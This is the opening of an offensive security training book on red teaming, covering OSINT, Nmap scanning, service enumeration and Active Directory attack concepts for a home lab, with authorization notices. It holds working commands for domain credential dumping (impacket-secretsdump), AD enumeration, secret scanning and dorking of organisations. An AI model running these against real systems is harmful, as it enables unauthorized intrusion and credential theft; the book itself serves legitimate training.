

OFFENSIVE SECURITY TRAINING SERIES

RED TEAM MASTERY

From Reconnaissance to Domain Dominance

A Complete, Hands-On Red Team Course — OSCP · PNPT · Real-World Engagements

```
attacker@kali:~$ bloodhound-python -u jsmith -d lab.local -c All
[*] Collecting AD data...
[*] Writing output for BloodHound...
attacker@kali:~$ impacket-secretsdump -just-dc lab.local/administrator@DC01
```

Compiled for Oscar Opemba | oxghostx

Edition 2026 · Kali Linux · MITRE ATT&CK Mapped

For authorized lab, CTF, and certification-preparation use only.

Table of Contents

How to Use This Book	8
Legal and Ethical Notice	8
What You Need	8
How This Book Is Organized	8
Red Team Fundamentals	11
Objectives	11
Theory	11
Deep Technical Explanation	11
Common Mistakes	13
Real-World Usage	13
Guided Lab — Build Your AD Lab	13
Challenge Lab	14
Review Questions	14
Answers	14
Reconnaissance and OSINT	15
Objectives	15
Theory	15
Deep Technical Explanation	15
Practical Examples — Full Passive Recon Workflow	17
Common Mistakes	18
Real-World Usage	18
Guided Lab — Full Passive Recon on a Practice Target	18
Challenge Lab	19
Review Questions	19
Answers	19
Scanning and Enumeration	20
Objectives	20
Theory	20
Deep Technical Explanation	20
Common Mistakes	23
Real-World Usage	23
Guided Lab — Full Network Map of AD Lab	23
Challenge Lab	24

Review Questions	24
Answers	24
Active Directory Fundamentals for Attackers	27
Objectives	27
Theory	27
Deep Technical Explanation	27
Common Mistakes	29
Real-World Usage	30
Guided Lab — AD Structure Verification	30
Challenge Lab	30
Review Questions	30
Answers	31
Impacket: The AD Attack Suite	32
Objectives	32
Theory	32
Deep Technical Explanation	32
Common Mistakes	35
Real-World Usage	35
Guided Lab — Full Impacket Chain on AD Lab	35
Challenge Lab	36
Review Questions	36
Answers	36
BloodHound and SharpHound	37
Objectives	37
Theory	37
Deep Technical Explanation	37
Practical Examples — From Graph to Attack	40
Common Mistakes	41
Real-World Usage	41

Guided Lab — Full BloodHound Workflow	41
Challenge Lab	42
Review Questions	42
Answers	42
NetExec: Lateral Movement at Scale	44
Objectives	44
Theory	44
Deep Technical Explanation	44
Practical Examples — Complete Lateral Movement Sweep	48
Common Mistakes	49
Real-World Usage	49
Guided Lab — Spray, Own, Dump	49
Challenge Lab	49
Review Questions	50
Answers	50
Kerberos Attacks and Rubeus	51
Objectives	51
Theory	51
Deep Technical Explanation	51
Common Mistakes	55
Real-World Usage	56
Guided Lab — Full Kerberos Chain	56
Challenge Lab	56
Review Questions	56
Answers	56
Password Attacks and Hashcat	58
Objectives	58
Theory	58
Deep Technical Explanation	58

Common Mistakes	62
Real-World Usage	62
Guided Lab — Crack the Kerberoast Ticket	62
Challenge Lab	62
Review Questions	63
Answers	63
Web Application Red Teaming	66
Objectives	66
Theory	66
Deep Technical Explanation	66
Common Mistakes	68
Guided Lab — DVWA Full Web Chain	68
Review Questions	68
Answers	69
Objectives	69
Theory	69
Deep Technical Explanation	69
Guided Lab	71
Review Questions	71
Answers	71
Objectives	71
Theory	71
Deep Technical Explanation	71
Guided Lab	73
Review Questions	73
Answers	73
Objectives	74
Theory	74
Deep Technical Explanation	74

Guided Lab	76
Review Questions	76
Answers	76
Objectives	76
Theory	76
Deep Technical Explanation	76
Common Mistakes	78
Review Questions	78
Answers	78
Objectives	79
Theory	79
Deep Technical Explanation	79
Guided Lab	81
Review Questions	81
Answers	81
Objectives	81
Theory	81
Deep Technical Explanation	82
Capstone Assessment	84
Module 14 — Full Red Team Campaign Simulation	87
Objectives	87
The Scenario	87
Phase 1 — External Reconnaissance	87
Phase 2 — Enumeration	87
Phase 3 — Initial Foothold (Web App)	88
Phase 4 — Pivot to Internal Segment	88
Phase 5 — AD Enumeration and Credential Attacks	88
Phase 6 — Privilege Escalation and Lateral Movement	88
Phase 7 — Domain Compromise	89

Phase 8 — Simulated Exfiltration and Persistence	89
Phase 9 — Cleanup and Documentation	89
Objectives	90
Report Structure	90
Writing Quality Standards	91
Review Questions	91
Answers	92
Cheat Sheets, Roadmaps, and Resources	93
1. Red Team Master Command Cheat Sheet	93
2. MITRE ATT&CK; Red Team Coverage Map	95
3. 30-Day Red Team Mastery Roadmap	96
4. Best Books	97
5. Best Online Resources	97
6. Best Practice Labs	97
7. Best HTB Machines for This Book	97
8. Final Assessments and Interview Questions	98
9. Professional Workflow Checklist	98

START HERE

How to Use This Book

Legal and Ethical Notice

Every technique in this book must be practiced exclusively in environments you own, are explicitly authorized to test (written Rules of Engagement), or on intentionally-vulnerable platforms (Hack The Box, TryHackMe, your personal AD lab). Unauthorized use of these techniques is a criminal offence in virtually every jurisdiction.

What You Need

- **Kali Linux** — primary attacker machine with all tools pre-installed or easily apt-installable
- **Windows Server 2019/2022 evaluation** — free 180-day ISO from Microsoft; promoted to Domain Controller (DC01), domain lab.local
- **Windows 10/11 evaluation** — free ISO; domain-joined workstation (WS01)
- **Metasploitable2 or DVWA** — for web exploitation and mixed-OS pivot labs
- **VirtualBox or VMware** — all VMs on a **host-only** internal network; never bridged to your real network

How This Book Is Organized

Part I covers the red team mindset, OSINT/recon, and network scanning — the 40-60% of engagement time that happens before you touch a target.

Part II is the Active Directory arsenal: AD fundamentals, Impacket (the complete attack suite), BloodHound (attack path mapping), NetExec (lateral movement at scale), Kerberos attacks with Rubeus, and password cracking with Hashcat.

Part III expands to full-spectrum operations: web app initial access, exploitation beyond Metasploit, pivoting and tunneling (Ligolo-ng, Chisel, SSH), C2 frameworks, evasion and AV bypass, post-exploitation and data exfiltration, and red team ops/reporting.

The Capstone is a complete, end-to-end red team campaign simulation tying every module together, followed by the professional reporting framework.

Reference contains master cheat sheets for every tool covered, a 30-day mastery roadmap, curated resources (books, labs, HTB machines), and final assessments.

PART I

Foundations & Reconnaissance

Red team methodology, MITRE ATT&CK,
OSINT, scanning, and enumeration.

MODULE 01

Red Team Fundamentals

Objectives

Understand what a red team actually is versus a penetration test, know the full attack lifecycle (the kill chain and MITRE ATT&CK), understand engagement types and scoping, and set up your red team lab environment correctly before touching any tool.

Theory

A **penetration test** is a point-in-time technical assessment: find as many exploitable vulnerabilities as possible in a defined scope within a defined window. A **red team engagement** is a goal-based, adversary-simulation operation: can we achieve a specific objective (reach domain admin, exfiltrate a specific dataset, access a financial system) while operating as a realistic threat actor would — stealthily, patiently, and with minimal footprint? The tools overlap significantly; the mindset and methodology are fundamentally different.

Red teaming exists to answer a harder question: not "are there vulnerabilities?" (there always are) but "could a real adversary achieve something that matters to our business, and would our defenders catch them?"

Deep Technical Explanation

The Unified Kill Chain

The modern kill chain used in professional red team operations has three macro-phases:

Initial Foothold — everything from reconnaissance through gaining the first authenticated access to any target system:

- Reconnaissance (passive OSINT, active scanning)
- Weaponization (payload creation, infrastructure setup)
- Delivery (phishing, exploiting internet-facing services, physical)
- Exploitation (triggering a vulnerability or abusing a misconfiguration)
- Installation (persistence, agent/implant deployed)

Network Propagation — moving from the initial foothold toward the objective:

- Discovery (enumerate internal network, users, services)
- Privilege escalation (local and domain)

- Credential access (harvesting hashes, tickets, plaintext)
- Lateral movement (pivoting to new hosts)
- Collection (identifying and staging target data/access)

Action on Objectives — achieving the specific goal defined in the engagement scope:

- Exfiltration (moving data out)
- Impact (demonstrating capability at the objective)
- C2 (maintaining persistent access if in scope)

MITRE ATT&CK Framework

ATT&CK is a publicly maintained knowledge base of real-world adversary techniques organized into tactics (the "why") and techniques (the "how"). Every technique has an ID (e.g., T1558.003 for Kerberoasting), documented detection opportunities, and real-world usage examples from known threat groups. As a red teamer, ATT&CK gives you a shared vocabulary with blue teams and clients, and helps ensure your simulated TTPs (Tactics, Techniques, Procedures) map to realistic threat actors rather than just "whatever Metasploit can do."

Key ATT&CK tactics relevant to this course:

- TA0043 — Reconnaissance
- TA0001 — Initial Access
- TA0002 — Execution
- TA0003 — Persistence
- TA0004 — Privilege Escalation
- TA0006 — Credential Access
- TA0007 — Discovery
- TA0008 — Lateral Movement
- TA0009 — Collection
- TA0010 — Exfiltration

Engagement Types

- **Full Red Team** — completely covert, long-duration (weeks/months), goal-based, defenders not pre-notified. Tests people, process, and technology together.
- **Purple Team** — collaborative between red and blue, both teams working together to test and tune detections in near-real-time. Not adversarial, highly educational.
- **Assumed Breach** — red team starts with a pre-compromised foothold (simulating the attacker is already inside), skipping the initial access phase entirely.
- **Physical Red Team** — includes physical intrusion attempts (badge cloning, tailgating, hardware implants). Almost always requires separate, explicit authorization on top of the main engagement.

Rules of Engagement (RoE)

Every professional engagement is governed by a Rules of Engagement document that specifies: exact scope (IP ranges, domains, physical locations), out-of-scope targets, allowed/disallowed techniques (e.g., "no destructive actions," "no denial of service"), notification contacts, emergency stop conditions, and data handling requirements for any credentials or sensitive data collected. Operating without a signed RoE is operating without authorization — it's not a red team, it's a crime.

Lab Environment

For this course, your lab should contain:

- **Kali Linux** (attacker machine, all Linux-side tools)
- **Windows Server 2019/2022** — acts as Domain Controller (DC01), domain: **lab.local**
- **Windows 10/11** — domain-joined workstation (WS01)
- **Metasploitable2 or a vulnerable Linux host** — for mixed-OS pivot scenarios

All machines on a **host-only** or **internal** network in VirtualBox/VMware. The DC and workstation are free 180-day evaluation ISOs from Microsoft. Setting up a basic AD lab takes about an hour and is one of the most valuable investments you can make in your offensive security education.

```
# Verify your Kali has the core tools for this course
which nmap impacket-psexec bloodhound netexec hashcat crackmapexec
# Install any missing ones
sudo apt update && sudo apt install -y nmap bloodhound netexec hashcat impacket-scripts crackmapexec
pip3 install impacket --break-system-packages
```

Common Mistakes

- Conflating "running a Metasploit module" with "red teaming" — tools are not methodology.
- Starting enumeration without a clear objective, leading to unfocused noise.
- Skipping the RoE/scope review on lab exercises — building the habit matters, even in a personal lab.
- Running everything as root on Kali without considering what privileges a real initial foothold would have.

Real-World Usage

Real red teams spend 40-60% of their time on reconnaissance and planning before touching a single target system. The exploitation phase is often 15-20% of total engagement effort. The discipline of the pre-exploitation phase is what separates operators who consistently succeed from those who just run tools.

Guided Lab — Build Your AD Lab

1. Download Windows Server 2019 evaluation ISO from microsoft.com/en-us/evalcenter

2. Create a VM: 2 vCPUs, 4GB RAM, 60GB disk, host-only network
3. Install, set static IP (**192.168.56.10**), run **dcpromo** via Server Manager to promote to DC
4. Create domain **lab.local**, set DSRM password
5. Create two domain users: **jsmith** (regular), **svc_backup** (set SPN: **backup/dc01.lab.local**)
6. Create a Windows 10 VM, join it to **lab.local**, log in as **jsmith**
7. From Kali, confirm: **ping 192.168.56.10** — DC reachable

Challenge Lab

Without referring back, identify which MITRE ATT&CK technique ID corresponds to each of these: Kerberoasting, Pass-the-Hash, DCSync, and NTLM Relay. Use <https://attack.mitre.org> to find them. Record the IDs — you'll see them again throughout this course.

Review Questions

1. What is the core difference between a penetration test and a red team engagement?
2. Name the three macro-phases of the Unified Kill Chain.
3. What is MITRE ATT&CK and why does it matter to a red teamer?
4. What must exist before any red team engagement begins?
5. What is an "assumed breach" engagement type?

Answers

1. A pentest finds as many vulnerabilities as possible; a red team simulates a real adversary pursuing a specific objective while remaining stealthy, testing whether defenders can detect and respond.
2. Initial Foothold, Network Propagation, Action on Objectives.
3. A publicly maintained knowledge base of adversary tactics and techniques, providing a shared vocabulary with defenders and ensuring red team TTPs map to realistic threat actors.
4. A signed Rules of Engagement document specifying scope, allowed techniques, emergency contacts, and data handling requirements.
5. An engagement where the red team starts with an already-compromised internal foothold, skipping initial access simulation to focus on propagation and impact.

MODULE 02

Reconnaissance and OSINT

Objectives

Perform passive and active reconnaissance against a target organization, harvest usernames, emails, subdomains, technologies, and credentials from public sources without ever touching the target's infrastructure, and organize gathered intelligence for use in later attack phases.

Theory

Reconnaissance is the intelligence-gathering phase conducted before any active testing. Passive recon uses only publicly available information — the target never sees your traffic. Active recon involves touching target infrastructure (DNS queries to their servers, port scans). In a real engagement, passive recon should be exhausted before any active probing begins, because active recon can trigger alerts.

Deep Technical Explanation

Email and Username Harvesting

```
# theHarvester – harvests emails, names, hosts from public sources
theHarvester -d targetcorp.com -b google,bing,linkedin,securitytrails -l 500

# hunter.io via CLI (requires API key, free tier available)
# Returns verified business email formats for a domain
curl "https://api.hunter.io/v2/domain-search?domain=targetcorp.com&api_key=YOUR_KEY"
```

Subdomain Enumeration

```
# amass – the gold standard for subdomain enumeration
amass enum -passive -d targetcorp.com -o amass_out.txt

# subfinder – fast, API-driven passive subdomain discovery
subfinder -d targetcorp.com -o subfinder_out.txt -all

# Combine and deduplicate results
cat amass_out.txt subfinder_out.txt | sort -u > all_subdomains.txt

# Probe which subdomains are actually live
cat all_subdomains.txt | httpx -o live_hosts.txt -title -status-code -tech-detect
```

DNS Intelligence

```
# dnsrecon – comprehensive DNS enumeration
dnsrecon -d targetcorp.com -t std
dnsrecon -d targetcorp.com -t brt -D /usr/share/wordlists/dnsmap.txt

# dnsx – bulk DNS resolution
cat all_subdomains.txt | dnsx -a -cname -mx -resp

# Check for zone transfer (misconfiguration, still found in the wild)
dig axfr @ns1.targetcorp.com targetcorp.com
```

Technology Fingerprinting

```
# whatweb – web technology stack identification
whatweb https://targetcorp.com -v

# wappalyzer CLI
npx wappalyzer https://targetcorp.com

# shodan – internet-wide scan data (passive, target never sees you)
shodan search "org:targetcorp" --fields ip_str,port,hostnames
shodan host 203.0.113.45
```

Credential Leak Intelligence

```
# dehashed (API) – searches breach databases for emails/passwords
# trufflehog – scans public git repos for leaked secrets
trufflehog github --org=targetcorp

# gitrob / gitleaks – scan repos for secrets
gitleaks detect --source=./cloned-repo -v
```

LinkedIn and People Intelligence

LinkedIn is often the most valuable passive source: it reveals organizational structure, employee names, job titles (which reveal technologies in use — "SAP Basis Administrator" tells you they run SAP), and direct format for username guessing.

Manual approach: search `site:linkedin.com "targetcorp" "engineer"` — build a list of employee names, derive likely usernames from their email format (discovered via theHarvester or hunter.io).

Common corporate username formats:

- `firstname.lastname` → `john.smith`
- `f.lastname` → `j.smith`
- `firstnamelastname` → `johnsmith`
- `flastname` → `jsmith`

```
# namemash.py – generate username permutations from name lists
python3 namemash.py names.txt > usernames.txt
```

Google Dorking

```
site:targetcorp.com filetype:pdf
site:targetcorp.com inurl:admin
site:targetcorp.com inurl:login
"targetcorp.com" filetype:xls OR filetype:xlsx OR filetype:csv
"@targetcorp.com" filetype:pdf
site:pastebin.com "targetcorp.com"
```

Shodan Dorks for Infrastructure

```
org:"Target Corp" port:3389
org:"Target Corp" port:445
org:"Target Corp" product:"Microsoft Exchange"
ssl:"targetcorp.com"
```

Practical Examples — Full Passive Recon Workflow

```
# 1. Subdomain sweep
amass enum -passive -d corp.com -o recon/subdomains.txt

# 2. Email format discovery
theHarvester -d corp.com -b google,bing -l 200 -f recon/harvest.html

# 3. Technology stack
whatweb https://corp.com -v 2>/dev/null | grep -E 'Plugin|Version'

# 4. Secret scanning on public org repos
trufflehog github --org=corp --only-verified

# 5. Compile username list for later spraying
python3 namemash.py recon/names.txt > recon/usernames.txt
```

Common Mistakes

- Moving to active recon before passive is exhausted — wastes stealth unnecessarily early.
- Using only one subdomain enumeration tool; tool coverage varies significantly, always combine at least two.
- Ignoring metadata in publicly downloadable PDFs/Office docs (`exiftool file.pdf` often reveals internal usernames, software versions, internal hostnames).
- Not checking job postings — they frequently reveal internal technologies, software products, and security tool gaps.

Real-World Usage

On a real engagement, passive recon typically produces: the email format (needed for phishing and credential spraying), a list of hundreds of subdomains (many of which have unpatched, internet-facing services), confirmed technology stack (which directly informs exploit selection), and sometimes outright leaked credentials from breach databases that can be tested on the VPN portal immediately.

```
# Don't forget document metadata
exiftool *.pdf *.docx | grep -i "author\|creator\|last modified by\|company"
```

Guided Lab — Full Passive Recon on a Practice Target

Use `hackerone.com` or your own domain as a passive recon target (both are fine to enumerate passively since you're only querying public data sources, never the target itself).

1. `amass enum -passive -d hackerone.com -o subdomains.txt`
2. `cat subdomains.txt | httpx -status-code -title`
3. `theHarvester -d hackerone.com -b google,bing -l 100`

4. Google dork: `site:hackerone.com filetype:pdf`
5. `shodan search "org:hackerone" --fields ip_str,port`

Document every finding in a structured recon notes file.

Challenge Lab

Perform a full passive recon pass against a domain of your choice (your own, or a bug bounty program that explicitly permits recon). Produce: a subdomain list, a username list derived from email format, a technology stack summary, and at least one Google dork finding. Everything sourced from public data only.

Review Questions

1. What is the difference between passive and active reconnaissance?
2. Name three tools used for subdomain enumeration.
3. Why are job postings a useful passive recon source?
4. What does `trufflehog` look for?
5. Why does Google dorking `filetype:pdf site:targetcorp.com` matter to a red teamer?

Answers

1. Passive recon uses only publicly available information — the target sees no traffic from you. Active recon touches the target's actual infrastructure (DNS servers, web servers) and can trigger alerts.
2. Amass, subfinder, dnsrecon (also acceptable: dnsx, fierce).
3. Job postings reveal the specific technologies, software, and security tools in use at the organization, directly informing exploit and attack path selection.
4. Leaked secrets (API keys, credentials, tokens) in public Git repositories and GitHub organizations.
5. Many organizations accidentally publish PDFs containing internal information, usernames (from metadata), or sensitive content indexed by Google — this is free intelligence requiring zero target interaction.

MODULE 03

Scanning and Enumeration

Objectives

Master Nmap beyond basic usage, perform targeted service enumeration, identify attack surface on both internet-facing and internal networks, and feed all findings into an organized structure for downstream attack planning.

Theory

Scanning and enumeration is the bridge between reconnaissance and exploitation. Reconnaissance tells you what the organization looks like from the outside. Scanning tells you what's actually running, what versions, and what's potentially vulnerable. The discipline here is precision over noise — a targeted, well-structured scan gives you better data than an undirected full blast, and is far less likely to trigger IDS/IPS on a real engagement.

Deep Technical Explanation

Nmap Scan Types

```
# Host discovery only (no port scan) – fast network sweep
nmap -sn 192.168.56.0/24

# SYN scan (default, requires root, fastest, stealthiest of the active scans)
sudo nmap -sS 192.168.56.10

# TCP connect scan (no root needed, more detectable, useful through SOCKS proxies)
nmap -sT 192.168.56.10

# UDP scan (slow but critical – SNMP on 161, DNS on 53, often missed)
sudo nmap -sU --top-ports 20 192.168.56.10

# Version detection
nmap -sV 192.168.56.10

# OS detection
sudo nmap -O 192.168.56.10

# Full power scan (version + OS + default scripts, all ports)
sudo nmap -sS -sV -O -p- -T4 --min-rate 1000 192.168.56.10 -oA scans/dc01_full
```

Output Formats

Always save output — `-oA <basename>` writes all three formats (XML, grepable, normal) simultaneously:

```
sudo nmap -sV -p- -oA scans/target 192.168.56.10
# Produces: target.nmap, target.gnmap, target.xml
```

NSE (Nmap Scripting Engine)

NSE scripts are the real depth of Nmap. Categories matter:

- **safe** — safe to run against any target without service disruption
- **default** — run with `-sC`, generally safe
- **vuln** — actively check for specific vulnerabilities, can be noisy
- **exploit** — can actually exploit, use only in lab/authorized contexts
- **discovery** — enumerate services further

```
# Run default scripts alongside version scan
sudo nmap -sV -sC 192.168.56.10

# SMB-specific enumeration via NSE
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users,smb-os-discovery 192.168.56.10

# Vulnerability scan (noisy — lab only unless explicitly authorized)
sudo nmap -p 445 --script=smb-vuln-* 192.168.56.10

# HTTP enumeration
sudo nmap -p 80,443,8080,8443 --script=http-title,http-methods,http-headers 192.168.56.0/24

# LDAP enumeration against a DC
sudo nmap -p 389,636 --script=ldap-rootdse,ldap-search 192.168.56.10

# All discovery scripts against a host
sudo nmap -sV --script=discovery 192.168.56.10
```

Service-Specific Enumeration

SMB (445/139)

```
# enum4linux-ng – modern rewrite of enum4linux
enum4linux-ng -A 192.168.56.10

# smbclient – list shares
smbclient -L //192.168.56.10 -N          # null session
smbclient //192.168.56.10/SYSVOL -N     # connect to share

# smbmap – share permissions at a glance
smbmap -H 192.168.56.10 -u '' -p ''
smbmap -H 192.168.56.10 -u jsmith -p Password123
```

LDAP (389/636) — Active Directory

```
# ldapsearch – raw LDAP queries
ldapsearch -x -H ldap://192.168.56.10 -b "dc=lab,dc=local" -s base
ldapsearch -x -H ldap://192.168.56.10 -D "jsmith@lab.local" -w Password123 \
  -b "dc=lab,dc=local" "(objectClass=user)" sAMAccountName mail memberOf

# windapsearch – purpose-built AD LDAP enumeration
python3 windapsearch.py -d lab.local --dc-ip 192.168.56.10 --users
python3 windapsearch.py -d lab.local --dc-ip 192.168.56.10 --da
```

RPC (135/tcp + high ports)

```
rpcclient -U "" 192.168.56.10 -N
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> querydomaininfo
rpcclient> getdompwinfo          # password policy – critical for spray timing
```

SNMP (161/udp)

```
snmpwalk -v2c -c public 192.168.56.10
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 192.168.56.0/24
```

WinRM (5985/5986)

```
# If WinRM is open and you have creds, you get a PowerShell shell
evil-winrm -i 192.168.56.20 -u jsmith -p Password123
```

Parsing Nmap Results at Scale

```
# Extract all open ports from greppable output
grep -oP '\d+/open' scans/*.gnmap | awk -F '/' '{print $1}' | sort -n | uniq

# Extract all hosts with a specific port open
grep "445/open" scans/network.gnmap | awk '{print $2}'

# Use nmap XML for programmatic parsing
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('scans/target.xml')
for host in tree.findall('host'):
    ip = host.find('address').get('addr')
    for port in host.findall('ports/port'):
        state = port.find('state').get('state')
        if state == 'open':
            portid = port.get('portid')
            svc = port.find('service')
            name = svc.get('name', '') if svc is not None else ''
            print(f'{ip}:{portid} {name}')
"
```

Common Mistakes

- Running `-p-` (all 65535 ports) without `-T4 --min-rate 1000` — takes hours on a lab, minutes with rate control.
- Not scanning UDP at all — SNMP (161), TFTP (69), DNS (53) often reveal high-value targets on UDP.
- Scanning from your actual attacker IP without rate limiting on an engagement where IDS is active.
- Ignoring high-numbered ports (8080, 8443, 8888, 9090, 10000) where internal admin panels frequently live.

Real-World Usage

On an internal network, the scan/enumerate → attack cycle runs constantly: you scan a new segment, find an interesting service, enumerate it specifically, find credentials or a vulnerability, move laterally, scan the next segment from the new position. Nmap is rarely run once and done — it's a continuous companion throughout an internal engagement.

Guided Lab — Full Network Map of AD Lab

1. `sudo nmap -sn 192.168.56.0/24 -oG scans/discovery.gnmap` — find all live hosts
2. `sudo nmap -sS -sV -sC -p- -T4 192.168.56.10 -oA scans/dc01` — full DC scan
3. `sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users 192.168.56.10`
4. `enum4linux-ng -A 192.168.56.10`
5. `ldapsearch -x -H ldap://192.168.56.10 -b "dc=lab,dc=local" -s base`

Expected: a complete map of DC01 services, user list via RPC/LDAP, share list, password policy.

Challenge Lab

From only the initial host discovery output (live hosts + open ports), identify: which host is the Domain Controller, which is a workstation, what services are exposed on each, and which three services represent the highest-value attack surface — justify each choice with a one-sentence rationale.

Review Questions

1. What is the difference between `-sS` and `-sT` Nmap scan types?
2. What does `-oA` do and why should you always use it?
3. Name two NSE script categories and when you'd use each.
4. Which port and protocol does SNMP use, and why is it worth scanning?
5. What does `rpcclient getdompwinfo` tell you and why does it matter before a password spray?

Answers

1. `-sS` is a SYN (half-open) scan requiring root privileges — faster and stealthier because it never completes the TCP handshake. `-sT` completes the full TCP handshake — detectable in standard connection logs but requires no root.
2. Saves scan results in all three formats (normal, grepable, XML) simultaneously, enabling both human reading and later automated parsing.
3. `default` (run with `-sC`, generally safe, good coverage) and `vuln` (actively probes for specific vulnerabilities — noisier, use only where authorized).
4. UDP port 161. SNMP with default community strings (public/private) often exposes running processes, routing tables, installed software, and sometimes device credentials.
5. It reveals the domain's password policy (minimum length, lockout threshold, lockout duration) — essential for timing a credential spray so you don't lock out accounts.

PART II

Active Directory Arsenal

AD internals, Impacket, BloodHound, NetExec,
Kerberos attacks, and password cracking.

MODULE 04

Active Directory Fundamentals for Attackers

Objectives

Understand Active Directory's architecture from an attacker's perspective: what domain components exist, how authentication (NTLM and Kerberos) works internally, what trust relationships mean, and why AD environments are structurally biased toward attacker success once a foothold is established.

Theory

Active Directory is the identity and access management backbone of most enterprise Windows environments — it controls who can log into what, what resources they can access, and how systems communicate securely. Understanding it deeply is the single most valuable investment for anyone serious about red teaming enterprise environments. Most OSCP and all PNPT environments include AD.

Deep Technical Explanation

Core AD Components

Domain — the fundamental administrative boundary. All objects (users, computers, groups, GPOs) in a domain share a single security policy and are managed by Domain Controllers.

Domain Controller (DC) — a Windows Server running AD DS (Active Directory Domain Services). Hosts:

- LDAP (389/636) — the directory service protocol
- Kerberos (88) — the primary authentication protocol
- DNS (53) — AD-integrated DNS for service location
- SMB (445) — SYSVOL/NETLOGON shares for GPO distribution
- RPC (135+) — remote management protocols

Forest — a collection of one or more domains sharing a schema and global catalog. The "forest root domain" is the first domain created and has elevated trust over all child domains.

Organizational Units (OUs) — containers within a domain used to organize objects and apply Group Policy.

Group Policy Objects (GPOs) — configurations applied to OUs controlling virtually every Windows security and behavior setting. From an attacker perspective, GPOs on the Domain Controllers OU are especially valuable — compromising the GPO means code execution on every DC.

NTLM Authentication

NTLM is Microsoft's challenge-response authentication protocol, still widely used as a fallback:

1. Client sends NEGOTIATE message to server
2. Server sends CHALLENGE (random 8-byte nonce)
3. Client hashes the challenge with user's NT hash → AUTHENTICATE message
4. Server forwards to DC for verification (pass-through auth) OR verifies locally

Why this matters to attackers:

- The NT hash (MD4 of the password) is the credential, not the plaintext — **pass-the-hash** uses the hash directly without cracking.
- The challenge+response can be captured and cracked offline — **NTLM relay** redirects authentication to a service the attacker controls.
- NTLM fallback can be forced even in modern environments via various coercion techniques.

Kerberos Authentication

Kerberos is the preferred authentication protocol in AD. It uses tickets instead of passwords:

1. AS-REQ: Client requests TGT from KDC (DC), encrypted with user's NT hash
2. AS-REP: KDC returns TGT encrypted with krbtgt account's hash
3. TGS-REQ: Client presents TGT to request service ticket (TGS) for a specific service
4. TGS-REP: KDC returns TGS encrypted with the service account's NT hash
5. AP-REQ: Client presents TGS to the target service; service decrypts with its own hash

Why this matters to attackers:

- **Kerberoasting** (T1558.003) — request TGS for any SPN-registered service; the ticket is encrypted with the service account's hash — crack offline.
- **AS-REP Roasting** (T1558.004) — users with "Do not require Kerberos preauthentication" set return AS-REP without authentication — crack the encrypted portion offline.
- **Pass-the-Ticket** — steal a valid TGT/TGS from memory and use it as-is for authentication.
- **Golden Ticket** — forge a TGT using the **krbtgt** account's hash — valid for any user, any service, for 10 years by default.
- **Silver Ticket** — forge a TGS using a service account's hash — valid for that specific service without contacting the DC.

Privileged AD Groups

Group	Default Access Level
Domain Admins	Full control of the domain

Group	Default Access Level
Enterprise Admins	Full control of the forest (forest root only by default)
Schema Admins	Can modify the AD schema
Administrators	Local admin on all DCs
Account Operators	Can create/modify most user accounts
Backup Operators	Can backup any file including NTDS.dit; can log in to DCs
Server Operators	Can log in to DCs, manage services
Group Policy Creator Owners	Can create/modify GPOs

Key attacker insight: Domain Admins is the typical target, but Backup Operators → NTDS.dit dump → all hashes is an equally valid path to full domain compromise.

AD Trusts

A **trust** relationship allows principals from one domain to authenticate to resources in another. Trust types:

- **Parent-child** (automatic, bidirectional, transitive) — created between parent/child domains in the same forest
- **Forest trust** — between forest roots, can be one-way or bidirectional
- **External trust** — between domains in different forests, non-transitive

Attackers target trusts for **cross-domain/forest lateral movement**: if Domain A trusts Domain B, and you control a principal in Domain B, you may be able to reach Domain A's resources.

The NTDS.dit File

This is the Active Directory database — stored on every DC at `C:\Windows\NTDS\NTDS.dit`. It contains every user account, group membership, and password hash in the domain. Dumping NTDS.dit (via DCSync, VSS shadow copy, or backup operator abuse) yields credentials for every domain account. This is the ultimate prize of AD exploitation.

Common Mistakes

- Targeting "Domain Admins" as the only goal and missing high-privilege paths through groups like Backup Operators, Account Operators, or WriteDACL rights.
- Conflating NTLM and Kerberos — the attack techniques that work against each are completely different.
- Not understanding trust direction: a one-way trust where Domain A trusts Domain B means Domain B accounts can access Domain A resources, but not the reverse.

- Skipping AD fundamentals and jumping straight to tools — leads to using Impacket or BloodHound outputs without understanding what they mean.

Real-World Usage

The majority of real enterprise networks are AD environments. Understanding that a service account with an SPN is Kerberoastable, or that WriteDACL on a user object means you can grant yourself DCSync rights, turns raw BloodHound graph output into an actionable attack plan — which is the difference between finding the path and executing it.

Guided Lab — AD Structure Verification

From Kali, after standing up your lab DC:

```
# Enumerate domain via null/auth LDAP
ldapsearch -x -H ldap://192.168.56.10 -b "dc=lab,dc=local" \
  "(objectClass=group)" cn | grep "^cn:"

# Enumerate users via RPC
rpcclient -U "jsmith%Password123" 192.168.56.10 -c "enumdomusers"

# Identify SPNs (Kerberoastable accounts)
ldapsearch -x -H ldap://192.168.56.10 \
  -D "jsmith@lab.local" -w Password123 \
  -b "dc=lab,dc=local" \
  "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
```

Expected: domain user list, group list, and at least one SPN-registered account (svc_backup you created in Module 1 lab).

Challenge Lab

Without tools — draw the Kerberos authentication flow from memory (AS-REQ through AP-REQ) and annotate each step with the attack that targets it (Kerberoasting, AS-REP Roasting, Pass-the-Ticket, Golden Ticket). Then verify your annotations by cross-referencing the theory section above.

Review Questions

1. What is the NTDS.dit file and why is it the ultimate AD target?
2. What makes a user account "Kerberoastable"?
3. What is the difference between a Golden Ticket and a Silver Ticket?
4. Why is "Backup Operators" a dangerous group membership even though it sounds benign?
5. What does a one-way trust from Domain A to Domain B mean for an attacker with access to Domain B?

Answers

1. The Active Directory database stored on every DC containing all user accounts, group memberships, and password hashes in the domain — dumping it yields credentials for every domain account.
2. Having a Service Principal Name (SPN) registered — this causes the KDC to encrypt TGS tickets for that account with the account's NT hash, which can be requested by any authenticated user and cracked offline.
3. A Golden Ticket is a forged TGT using the krbtgt account hash — valid for any service, any user. A Silver Ticket is a forged TGS using a specific service account's hash — valid only for that specific service, but doesn't require contact with the DC.
4. Backup Operators can read any file on a DC including NTDS.dit (the AD database), which when extracted and parsed yields all domain password hashes — equivalent to Domain Admin in impact.
5. It means Domain B accounts can authenticate to and access resources in Domain A — an attacker with control of any account in Domain B may be able to move into Domain A.

MODULE 05

Impacket: The AD Attack Suite

Objectives

